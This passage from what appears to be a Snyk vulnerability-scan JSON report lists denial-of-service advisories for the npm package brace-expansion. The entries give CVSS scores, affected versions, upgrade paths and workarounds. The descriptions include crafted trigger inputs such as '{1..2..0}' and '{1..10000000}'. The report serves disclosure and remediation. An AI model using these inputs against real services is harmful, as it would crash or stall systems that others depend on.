"2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmsearch@9.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": 